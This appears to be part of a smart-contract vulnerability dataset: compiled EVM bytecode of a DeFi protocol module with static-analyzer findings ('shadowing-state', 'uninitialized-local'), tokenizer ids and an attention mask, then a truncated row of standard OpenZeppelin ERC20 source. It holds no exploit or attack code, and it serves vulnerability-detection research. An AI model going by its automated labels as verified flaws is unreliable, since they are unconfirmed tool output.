0c57fe5b6020908102919091010152905090565b600054610100900460ff1680610a355750610a35611dd3565b80610a43575060005460ff16155b610a7e5760405162461bcd60e51b815260040180806020018281038252602e815260200180612f03602e913960400191505060405180910390fd5b600054610100900460ff16158015610aa9576000805460ff1961ff0019909116610100171660011790555b610ab585858585611dd9565b8015610ac7576000805461ff00191690555b5050505050565b60695474010000000000000000000000000000000000000000900460ff1681565b606080610b02610afd612239565b611db4565b610b3d5760405162461bcd60e51b815260040180806020018281038252603c815260200180612f53603c913960400191505060405180910390fd5b610b45610ddc565b6060610b4f611a5c565b905060608151604051908082528060200260200182016040528015610b7e578160200160208202803883390190505b5090506000805b8351811015610cbe576000848281518110610b9c57fe5b602002602001015190506000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610bfe57600080fd5b505afa158015610c12573d6000803e3d6000fd5b505050506040513d6020811015610c2857600080fd5b50516001600160a01b038316600090815260686020526040902054909150811115610cb4576001600160a01b038216600090815260686020526040902054600190940193610c7d90829063ffffffff61223d16565b858481518110610c8957fe5b6020908102919091018101919091526001600160a01b03831660009081526068909152604090208190555b5050600101610b85565b5080604051908082528060200260200182016040528015610ce9578160200160208202803883390190505b50945080604051908082528060200260200182016040528015610d16578160200160208202803883390190505b5093508015610dc5576000805b8451811015610dc2576000848281518110610d3a57fe5b60200260200101511115610dba57848181518110610d5457fe5b6020026020010151878381518110610d6857fe5b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110610d9457fe5b6020026020010151868381518110610da857fe5b60209081029190910101526001909101905b600101610d23565b50505b5050509091565b610ddc610dd7612239565b612286565b565b610de6611782565b610e37576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610e7c5760405162461bcd60e51b8152600401808060200182810382526022815260200180612e3b6022913960400191505060405180910390fd5b606680546001600160a01b0383167fffffffffffffffffffffffff0000000000000000000000000000000000000000909116811790915560408051918252517f5b36800c27524690807962bd42525a44e68b3f860e8f9e0204f27e777d2f46059181900360200190a150565b610ef3610afd612239565b610f2e5760405162461bcd60e51b815260040180806020018281038252603c815260200180612f53603c913960400191505060405180910390fd5b6069546001600160a01b03838116911614610f7a5760405162461bcd60e51b8152600401808060200182810382526021815260200180612e9f6021913960400191505060405180910390fd5b606b54606c54604080517fd2d0e0660000000000000000000000000000000000000000000000000000000081526001600160a01b038681166004830152602482018690527401000000000000000000000000000000000000000090930461ffff1660448201529051919092169163d2d0e06691606480830192600092919082900301818387803b15801561100d57600080fd5b505af1158015611021573d6000803e3d6000fd5b505050505050565b606a54604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561109257600080fd5b505afa1580156110a6573d6000803e3d6000fd5b505050506040513d60208110156110bc57600080fd5b505190506110c9816122ce565b91505090565b6110da610afd612239565b6111155760405162461bcd60e51b815260040180806020018281038252603c815260200180612f53603c913960400191505060405180910390fd5b81516001148015611127575080516001145b6111625760405162461bcd60e51b815260040180806020018281038252602e815260200180612fb9602e913960400191505060405180910390fd5b6111948260008151811061117257fe5b60200260200101518260008151811061118757fe5b6020026020010151610ee8565b5050565b6069546000906001600160a01b038381169116146111b85750600061124b565b606a54604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561121c57600080fd5b505afa158015611230573d6000803e3d6000fd5b505050506040513d602081101561124657600080fd5b505190505b919050565b611258611782565b6112a9576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6033546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3603380547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6066546000906001600160a01b031661136b576040805162461bcd60e51b815260206004820152600f60248201527f4d6f64756c653a206e6f20706f6f6c0000000000000000000000000000000000604482015290519081900360640190fd5b6066546040516020602482018181528551604484015285516000946060946001600160a01b03909116938893928392606401918501908083838b5b838110156113be5781810151838201526020016113a6565b50505050905090810190601f1680156113eb5780820380516001836020036101000a031916815260200191505b50604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f693ec85e00000000000000000000000000000000000000000000000000000000178152905182519295509350839250908083835b602083106114b057805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611473565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d8060008114611510576040519150601f19603f3d011682016040523d82523d6000602084013e611515565b606091505b509150915081611526578060208201fd5b600081806020019051602081101561153d57600080fd5b505190506001600160a01b0381166115865760405162461bcd60e51b8152600401808060200182810382526022815260200180612f316022913960400191505060405180910390fd5b949350505050565b600054610100900460ff16806115a757506115a7611dd3565b806115b5575060005460ff16155b6115f05760405162461bcd60e51b815260040180806020018281038252602e815260200180612f03602e913960400191505060405180910390fd5b600054610100900460ff1615801561161b576000805460ff1961ff0019909116610100171660011790555b61162b611626612239565b6123d0565b801561163d576000805461ff00191690555b50565b61164b610afd612239565b6116865760405162461bcd60e51b815260040180806020018281038252603c815260200180612f53603c913960400191505060405180910390fd5b80516001146116c65760405162461bcd60e51b8152600401808060200182810382526028815260200180612e136028913960400191505060405180910390fd5b606a5481516001600160a01b039091169063db006a759083906000906116e857fe5b60200260200101516040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561172657600080fd5b505af115801561173a573d6000803e3d6000fd5b50505050611194828260008151811061174f57fe5b60209081029190910101516069546001600160a01b0316919063ffffffff6124d916565b6033546001600160a01b031690565b6033546000906001600160a01b0316611799612239565b6001600160a01b031614905090565b60686020526000908152604090205481565b6069546001600160a01b0390811691161490565b606a546001600160a01b031681565b606b546001600160a01b031681565b60408051600180825281830190925260609182919060208083019080388339505060695482519293506001600160a01b03169183915060009061182b57fe5b6001600160a01b0390921660209283029190910190910152905090565b611853610afd612239565b61188e5760405162461bcd60e51b815260040180806020018281038252603c815260200180612f53603c913960400191505060405180910390fd5b61189783611dcd565b6118e8576040805162461bcd60e51b815260206004820152601e60248201527f50726f746f636f6c426173653a206e6f742072657761726420746f6b656e0000604482015290519081900360640190fd5b6001600160a01b038316600090815260686020526040902054611911908263ffffffff61223d16565b6001600160a01b03841660008181526068602052604090209190915561193e90838363ffffffff6124d916565b505050565b600054610100900460ff168061195c575061195c611dd3565b8061196a575060005460ff16155b6119a55760405162461bcd60e51b815260040180806020018281038252602e815260200180612f03602e913960400191505060405180910390fd5b600054610100900460ff161580156119d0576000805460ff1961ff0019909116610100171660011790555b6119d982612559565b6119e96119e4612239565b6125f7565b8015611194576000805461ff00191690555050565b6069546001600160a01b031681565b611a18610afd612239565b611a535760405162461bcd60e51b815260040180806020018281038252603c815260200180612f53603c913960400191505060405180910390fd5b61163d81612696565b60408051600081526020810190915290565b611a79610afd612239565b611ab45760405162461bcd60e51b815260040180806020018281038252603c815260200180612f53603c913960400191505060405180910390fd5b6069546001600160a01b03838116911614611b005760405162461bcd60e51b8152600401808060200182810382526021815260200180612e9f6021913960400191505060405180910390fd5b606a54604080517fdb006a750000000000000000000000000000000000000000000000000000000081526004810184905290516001600160a01b039092169163db006a759160248082019260009290919082900301818387803b158015611b6657600080fd5b505af1158015611b7a573d6000803e3d6000fd5b505060695461193e92506001600160a01b03169050848363ffffffff6124d916565b611ba4611782565b611bf5576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03821660009081526068602052604090205415611c60576040805162461bcd60e51b815260206004820152601360248201527f4e6f207570677261646520726571756972656400000000000000000000000000604482015290519081900360640190fd5b604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290516000916001600160a01b038516916370a0823191602480820192602092909190829003018186803b158015611cc357600080fd5b505afa158015611cd7573d6000803e3d6000fd5b505050506040513d6020811015611ced57600080fd5b5051905080821115611d305760405162461bcd60e51b8152600401808060200182810382526021815260200180612e5d6021913960400191505060405180910390fd5b506001600160a01b03909116600090815260686020526040902055565b600190565b611d5a611782565b611dab576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b61163d816126de565b6000611dc760678363ffffffff61279716565b92915050565b50600090565b303b1590565b600054610100900460ff1680611df25750611df2611dd3565b80611e00575060005460ff16155b611e3b5760405162461bcd60e51b815260040180806020018281038252602e815260200180612f03602e913960400191505060405180910390fd5b600054610100900460ff16158015611e66576000805460ff1961ff0019909116610100171660011790555b611e6f85611943565b606980547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0386811691909117909155606c80547fffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffff167401000000000000000000000000000000000000000061ffff861602179055604080517f0261bf8b000000000000000000000000000000000000000000000000000000008152905191851691630261bf8b91600480820192602092909190829003018186803b158015611f3f57600080fd5b505afa158015611f53573d6000803e3d6000fd5b505050506040513d6020811015611f6957600080fd5b5051606b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03928316179055604080517fed6ff760000000000000000000000000000000000000000000000000000000008152905160009286169163ed6ff760916004808301926020929190829003018186803b158015611ff357600080fd5b505afa158015612007573d6000803e3d6000fd5b505050506040513d602081101561201d57600080fd5b5051606c80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038084169190911791829055604080517f34b3beee000000000000000000000000000000000000000000000000000000008152898316600482015290519394509116916334b3beee91602480820192602092909190829003018186803b1580156120b557600080fd5b505afa1580156120c9573d6000803e3d6000fd5b505050506040513d60208110156120df57600080fd5b5051606a80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03928316179055604080517f313ce56700000000000000000000000000000000000000000000000000000000815290519187169163313ce56791600480820192602092909190829003018186803b15801561216857600080fd5b505afa15801561217c573d6000803e3d6000fd5b505050506040513d602081101561219257600080fd5b50516069805460ff90921674010000000000000000000000000000000000000000027fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff9092169190911790819055606c54612220916001600160a01b0390811691167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff63ffffffff6127fe16565b508015610ac7576000805461ff00191690555050505050565b3390565b600061227f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612958565b9392505050565b61229760678263ffffffff6129ef16565b6040516001600160a01b038216907f626bf7c6846fdc6e3f94a7c861b91118b5c0506bc3dc892b70f7d42bd619118790600090a250565b60695460009074010000000000000000000000000000000000000000900460ff16601214156122fe57508061124b565b60695460127401000000000000000000000000000000000000000090910460ff16111561237a5760695461237390839074010000000000000000000000000000000000000000900460ff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffee01600a0a612a56565b905061124b565b60695460127401000000000000000000000000000000000000000090910460ff16101561124b5760695461237390839074010000000000000000000000000000000000000000900460ff16601203600a0a612a98565b600054610100900460ff16806123e957506123e9611dd3565b806123f7575060005460ff16155b6124325760405162461bcd60e51b815260040180806020018281038252602e815260200180612f03602e913960400191505060405180910390fd5b600054610100900460ff1615801561245d576000805460ff1961ff0019909116610100171660011790555b603380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0384811691909117918290556040519116906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a38015611194576000805461ff00191690555050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb0000000000000000000000000000000000000000000000000000000017905261193e908490612af1565b600054610100900460ff16806125725750612572611dd3565b80612580575060005460ff16155b6125bb5760405162461bcd60e51b815260040180806020018281038252602e815260200180612f03602e913960400191505060405180910390fd5b600054610100900460ff161580156125e6576000805460ff1961ff0019909116610100171660011790555b6125ee61158e565b6119e982610dde565b600054610100900460ff16806126105750612610611dd3565b8061261e575060005460ff16155b6126595760405162461bcd60e51b815260040180806020018281038252602e815260200180612f03602e913960400191505060405180910390fd5b600054610100900460ff16158015612684576000805460ff1961ff0019909116610100171660011790555b61268d82611db4565b6119e9576119e9825b6126a760678263ffffffff612ccd16565b6040516001600160a01b038216907fd2a1587d372a888fc8427f6f206845b51ddf76976073d43f23e512ad1f22483590600090a250565b6001600160a01b0381166127235760405162461bcd60e51b8152600401808060200182810382526026815260200180612ded6026913960400191505060405180910390fd5b6033546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3603380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b60006001600160a01b0382166127de5760405162461bcd60e51b8152600401808060200182810382526022815260200180612ee16022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b80158061289d5750604080517fdd62ed3e0000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b15801561286f57600080fd5b505afa158015612883573d6000803e3d6000fd5b505050506040513d602081101561289957600080fd5b5051155b6128d85760405162461bcd60e51b8152600401808060200182810382526036815260200180612fe76036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f095ea7b30000000000000000000000000000000000000000000000000000000017905261193e908490612af1565b600081848411156129e75760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156129ac578181015183820152602001612994565b50505050905090810190601f1680156129d95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6129f98282612797565b612a345760405162461bcd60e51b8152600401808060200182810382526021815260200180612e7e6021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff19169055565b600061227f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d4e565b600082612aa757506000611dc7565b82820282848281612ab457fe5b041461227f5760405162461bcd60e51b8152600401808060200182810382526021815260200180612ec06021913960400191505060405180910390fd5b612b03826001600160a01b0316612db3565b612b54576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310612bb057805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101612b73565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612c12576040519150601f19603f3d011682016040523d82523d6000602084013e612c17565b606091505b509150915081612c6e576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115612cc757808060200190516020811015612c8a57600080fd5b5051612cc75760405162461bcd60e51b815260040180806020018281038252602a815260200180612f8f602a913960400191505060405180910390fd5b50505050565b612cd78282612797565b15612d29576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b60008183612d9d5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156129ac578181015183820152602001612994565b506000838581612da957fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061158657505015159291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734141564550726f746f636f6c3a2077726f6e6720616d6f756e7473206172726179206c656e6774684d6f64756c653a20706f6f6c20616464726573732063616e2774206265207a65726f43616e206e6f742073746f7265206d6f7265207468616e20617661696c61626c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c654141564550726f746f636f6c3a20746f6b656e206e6f7420737570706f72746564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77526f6c65733a206163636f756e7420697320746865207a65726f2061646472657373436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a65644d6f64756c653a20726571756573746564206d6f64756c65206e6f7420666f756e64446566694f70657261746f72526f6c653a2063616c6c657220646f6573206e6f7420686176652074686520446566694f70657261746f7220726f6c655361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565644141564550726f746f636f6c3a2077726f6e6720636f756e74206f6620746f6b656e73206f7220616d6f756e74735361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a265627a7a72315820d5b6141012b8ed211b9e30f444c1d4feb9126ce76b46e278814d1945c491add564736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 2278, 2692, 7959, 2475, 16409, 22275, 2487, 2063, 12740, 19481, 2546, 2692, 2549, 2546, 22407, 2692, 2094, 2683, 2683, 2278, 7959, 2620, 2094, 2683, 2575, 2683, 2683, 29097, 2683, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1032, 8311, 1011, 28855, 14820, 1011, 7427, 1032, 8311, 1032, 19204, 1032, 9413, 2278, 11387, 1032, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 2515, 2025, 2421, 1008, 1996, 11887, 4972, 1025, 2000, 3229, 2068, 2156, 1063, 9413, 2278, 11387, 3207, 14162, 2098, 1065, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,654
0x957cb5b1f868848572deeda4f5d4da5016231cce
// File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal 